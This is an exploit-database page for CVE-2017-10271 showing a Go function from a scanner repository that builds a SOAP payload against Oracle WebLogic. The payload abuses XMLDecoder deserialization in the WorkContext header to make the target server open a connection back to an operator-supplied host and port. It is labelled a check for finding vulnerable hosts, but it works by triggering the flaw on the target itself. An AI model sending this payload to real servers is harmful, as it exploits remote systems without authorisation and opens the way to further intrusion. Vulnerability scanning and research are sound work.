Exploit databaseDownload repository ZIP
GH-ad0090fe841d26ff29c70826eff77737
kkirsche/cve-2017-10271
Sources for CVE-2017-10271
51 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files7
kkirsche/cve-2017-10271Revision 546bdaa81a1d
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
scanners/libcve201710271/payload.go
Go · 844 bytespackage libcve201710271
import (
"fmt"
"net/url"
)
// GenerateCheckPayload is used to create a check payload for use in identifying
// vulnerable hosts
func GenerateCheckPayload(lhost string, lport int, rhost, u string) string {
xmlPayload := fmt.Sprintf(`<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void id="url" class="java.net.URL">
<string>http://%s:%d/cve-2017-10271?target=%s%s</string>
</void>
<void idref="url">
<void id="stream" method = "openStream" />
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>`, lhost, lport, url.QueryEscape(rhost), url.QueryEscape(u))
return xmlPayload
}